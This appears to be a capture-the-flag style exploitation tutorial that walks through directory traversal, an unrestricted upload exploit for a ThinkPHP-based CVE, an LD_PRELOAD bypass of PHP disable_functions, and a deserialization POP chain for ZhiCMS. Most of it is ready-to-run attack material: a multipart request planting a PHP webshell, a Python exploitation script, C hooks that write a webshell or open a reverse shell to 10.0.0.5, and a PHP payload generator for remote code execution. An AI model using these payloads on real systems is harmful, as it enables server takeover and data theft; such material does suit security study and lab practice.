Advanced Web Vulnerability Exploitation: Traversal, Upload Bypass, and Deserialization Chains
Client-Side Asset Analysis
Static inspection of frontend resources often reveals hidden artifacts. Examining the page source code exposes a hexadecimal-encoded string embedded within the markup. Decoding this value directly yields the target flag, demonstrating that client-side obfuscation provides no real security boundary.
Directory Traversal and Credential Extraction
When standard authentication bypass techniques fail, public repository issue trackers can serve as valuable reconnaissance sources. A documented directory traversal vulnerability allows navigation outside the intended web root. Browsing the filesystem reveals a file with a Base64-encoded name. Decoding the filename exposes administrative credentials.
After authenticating with the recovered credentials, the traversal flaw is leveraged again to locate the flag file. Since direct retrieval is blocked by access controls, the file is renamed and relocated to a publicly served directory using the same traversal primitive, enabling direct download.
Unrestricted File Upload via CVE-2022-24652
The target application utilizes a ThinkPHP-based backend affected by CVE-2022-24652. This vulnerability stems from inadequate file type validation, allowing arbitrary file uploads. The frontend interface lacks a functional submission control, necessitating manual construction of the HTTP request. The vulnerable route is /user/upload/upload.
Crafted multipart request:
POST /user/upload/upload HTTP/1.1
Host: target.local
Content-Type: multipart/form-data; boundary=----CustomBoundary789
Content-Length: 642
------CustomBoundary789
Content-Disposition: form-data; name="id"
UPLOAD_01
------CustomBoundary789
Content-Disposition: form-data; name="name"
avatar.png
------CustomBoundary789
Content-Disposition: form-data; name="type"
image/png
------CustomBoundary789
Content-Disposition: form-data; name="lastModifiedDate"
Mon Aug 15 2022 10:00:00 GMT+0000
------CustomBoundary789
Content-Disposition: form-data; name="size"
2048
------CustomBoundary789
Content-Disposition: form-data; name="file"; filename="payload.php"
Content-Type: image/png
<?php system($_REQUEST['cmd']); ?>
------CustomBoundary789--
Dispatching this request circumvents frontend restrictions and deposits the PHP payload on the server. Accessing the uploaded path with the cmd parameter achieves remote code execution.
LD_PRELOAD Hijacking for Environment Manipulation
This scenario combines file upload capabilities with environment variable modification via putenv(). Direct command injection is mitigated by a WAF that filters quotes, parentheses, and semicolons. The bypass leevrages LD_PRELOAD hijacking to intercept standard library calls during process initialization.
The application utilizes create_function(), which dynamically generates anonymous functions named \x00lambda_N. The suffix N increments sequentially per request. By predicting this iedntifier and supplying it to the guess parameter, the conditional validation is satisfied.
Automation script for exploitation:
import requests
TARGET_URL = "http://challenge.local/"
def upload_shared_object(filepath):
with open(filepath, "rb") as f:
resp = requests.post(TARGET_URL, files={"file": f}, data={"upload": 1})
return resp.text.split(">")[-1].strip()
def trigger_preload(so_path, lambda_id):
params = {
"challenge": "1",
"guess": f"\x00lambda_{lambda_id}",
"key": "LD_PRELOAD",
"value": so_path
}
resp = requests.get(TARGET_URL, params=params)
return resp.text
if __name__ == "__main__":
so_location = upload_shared_object("./bypass.so")
print(f"[+] Uploaded to: {so_location}")
# Lambda ID must be tracked or brute-forced based on request count
output = trigger_preload(so_location, lambda_id=5)
print(output)
The shared object requires compilation via gcc -fPIC -shared -o bypass.so hook.c -nostartfiles. Two standard payloads for the .so file include writing a webshell or spawning a reverse connection.
File write hook:
#include <stdio.h>
#include <stdlib.h>
void _init() {
FILE *fp = fopen("/tmp/webshell.php", "w");
if (fp) {
fputs("<?php system($_GET['c']); ?>", fp);
fclose(fp);
}
}
Reverse shell hook:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
static void spawn_shell() __attribute__((constructor));
static void spawn_shell() {
int fd = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in srv;
srv.sin_family = AF_INET;
srv.sin_port = htons(4444);
inet_pton(AF_INET, "10.0.0.5", &srv.sin_addr);
if (connect(fd, (struct sockaddr*)&srv, sizeof(srv)) == 0) {
dup2(fd, 0); dup2(fd, 1); dup2(fd, 2);
execve("/bin/sh", NULL, NULL);
}
}
Triggering the endpoint forces the PHP process to load the malicious library before standard execution, effectively bypassing disable_functions restrictions.
POP Chain Construction for Deserialization RCE
CVE-2024-0603 impacts ZhiCMS versions up to 4.0, where the mylike parameter in giftcontroller.php is passed directly to unserialize(). A Property-Oriented Programming (POP) chain can be engineered to achieve remote code execution.
The execution flow traverses multiple classes:
simple_html_dom::__destruct()invokesclear()clear()iterates over nodes, triggeringMemcacheDriver::clear()- String concatenation in
MemcacheDriverforcessimple_html_dom_node::__toString() __toString()callsoutertext(), which executes a callback viacall_user_func_array()- The callback points to
Template::display(), which callscompile() compile()passes controlled data intoeval()
Exploit generation script:
<?php
namespace ZhiCms\base {
class Cache {
protected $config = [];
protected $cache = 'default';
public $proxyObj = null;
public $proxyExpire = 1800;
public function __construct() {
$this->config = ['CACHE_TYPE' => 'FileCache', 'MEM_GROUP' => 'tpl'];
}
}
class Template {
protected $config = [];
protected $label = null;
protected $vars = [];
protected $cache = null;
public function __construct() {
$this->cache = new Cache();
// Inject malicious template content and disable file checking
$this->vars = ['tpl' => '<?php system($_POST["exec"]); ?>', 'isTpl' => false];
}
}
}
namespace ZhiCms\base\cache {
use ZhiCms\ext\simple_html_dom_node;
use ZhiCms\base\Cache;
class MemcachedDriver {
protected $mmc = null;
protected $group = '';
protected $ver = 0;
public function __construct() {
$this->mmc = new Cache();
$this->group = new simple_html_dom_node();
}
}
}
namespace ZhiCms\ext {
use ZhiCms\base\cache\MemcachedDriver;
use ZhiCms\base\Template;
class simple_html_dom {
protected $parent;
public $callback;
public function __construct($target) {
$this->parent = $target;
}
}
class simple_html_dom_node {
private $dom = null;
public function __construct() {
$instance = new simple_html_dom("");
// Bind the Template display method as the callback
$instance->callback = [new Template(), 'display'];
$this->dom = $instance;
}
}
// Chain assembly
$driver = new MemcachedDriver();
$root_obj = new simple_html_dom($driver);
echo urlencode(serialize($root_obj));
}
The serialized payload is delivered via the mylike cookie parameter to the vulnerable route. Upon deserialization, the destructor chain automatically executes, evaluating the injected PHP code and establishing a webshell.